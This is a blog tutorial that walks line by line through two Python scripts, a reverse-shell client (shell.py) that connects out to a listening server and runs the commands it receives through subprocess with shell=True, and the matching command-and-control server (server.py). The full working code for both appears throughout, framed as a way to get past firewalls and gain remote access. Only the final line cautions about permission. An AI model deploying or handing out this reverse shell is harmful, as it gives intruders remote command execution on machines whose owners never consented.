Table of contents
Introduction
A reverse shell is a type of shell in which the target machine initiates the connection to the attacker's machine. In other words, instead of the attacker connecting to the target machine, the target machine connects back to the attacker's machine.
Reverse shells are often used in situations where the attacker is unable to connect directly to the target machine due to firewalls or other security measures. By using a reverse shell, the attacker can bypass these security measures and gain remote access to the target machine.
The code consists of two Python scripts: shell.py
and server.py
. The shell.py
script creates a reverse shell, which means it allows the user to execute commands on the remote machine from the server machine. The server.py
script acts as the server and listens for incoming connections from the shell.py
script.
Source code - Here
`shell.py`
Let's go through the code in shell.py
line by line:
import sys
import socket
import subprocess
# SERVER ID ADDRESS
SERVER_IP = ""
PORT = 4444
s = socket.socket()
s.connect((SERVER_IP, PORT))
The socket
module is imported, which provides low-level networking interfaces. The subprocess
module is imported to run shell commands. The SERVER_IP
and PORT
variables are set to the IP address and port number of the server machine. A new socket object is created, which is used to connect to the server.
msg = s.recv(1024).decode()
print("[*] server: ", msg)
The script waits to receive a message from the server and prints it to the console. This message is just a confirmation that the connection has been established successfully.
while True:
cmd = s.recv(1024).decode()
print(f"[+] received command: {cmd}")
The script enters an infinite loop, waiting for commands from the server. When a command is received, it is printed to the console.
if cmd.lower() in ["exit", "quit"]:
break
If the command received is either "exit" or "quit", the loop is broken, and the connection to the server is closed.
try:
result = subprocess.check_output(cmd, stderr = subprocess.STDOUT, shell=True)
except Exception as e:
result = str(e).encode()
if len(result) == 0:
result = '[+] Executed successfully'.encode()
s.send(result)
The script executes the received command using the subprocess
module's check_output
method. If the command fails to execute, the error message is sent back to the server. If the command executes successfully, the output of the command is sent back to the server.
`server.py`
Now, let's go through the code in server.py
line by line:
import socket
# SERVER IP ADDRESS
SERVER_IP = ""
PORT = 4444
The socket
module is imported. The SERVER_IP
and PORT
variables are set to the IP address and port number on which the server listens for incoming connections.
s = socket.socket()
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((SERVER_IP, PORT))
A new socket object is created. The setsockopt
method is used to set the SO_REUSEADDR
option to allow the socket to be reused immediately after it is closed. The bind
method is used to bind the socket to the SERVER_IP
and PORT
.
s.listen(1)
while True:
print(f"[+] listening as {SERVER_IP}:{PORT}")
client = s.accept()
print(f"[+] client connected {client[1]}")
client[0].send('connected'.encode())
The listen
method is called to start listening for incoming connections. The script enters a loop that waits for clients to connect. When a client connects, the script prints a message to the console indicating that a new client has connected. Then, the script sends a message to the client indicating that it has connected.
while True:
cmd = input(">>> ")
client[0].send(cmd.encode())
if cmd.lower() in ["exit", "quit"]:
break
result = client[0].recv(1024).decode()
print(result)
client[0].close()
cmd = input("Wait for new client? [y/n]: ") or 'y'
if cmd.lower() in ['n', "no"]:
break
The script enters another loop that waits for commands to be entered from the console. The script sends these commands to the client using the send
method. If the command is either "exit" or "quit", the loop is broken, and the connection to the client is closed. If the command is something else, the script waits for a response from the client and prints it to the console.
After the loop is broken, the script prompts the user to see if they want to wait for another client. If the user enters "n" or "no", the loop is broken, and the script closes the socket.
Conclusion
In this blog post, we have gone through the shell.py
and server.py
scripts and explained how they work. The shell.py
script creates a reverse shell, which allows the user to execute commands on the remote machine from the server machine. The server.py
script acts as the server and listens for incoming connections from the shell.py
script. With these scripts, one can gain remote access to a machine and execute commands on it. It's worth noting that while such scripts can be useful for remote administration, they can also be used maliciously, so it's essential to use them responsibly and only on machines that you have permission to access.